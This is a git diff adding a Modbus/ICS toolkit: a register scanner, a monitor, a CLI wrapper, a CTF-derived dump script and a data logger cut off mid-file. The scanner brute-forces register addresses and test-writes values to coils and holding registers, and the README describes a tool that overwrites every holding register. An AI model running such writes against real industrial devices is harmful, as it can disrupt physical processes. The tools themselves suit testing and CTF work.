https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = 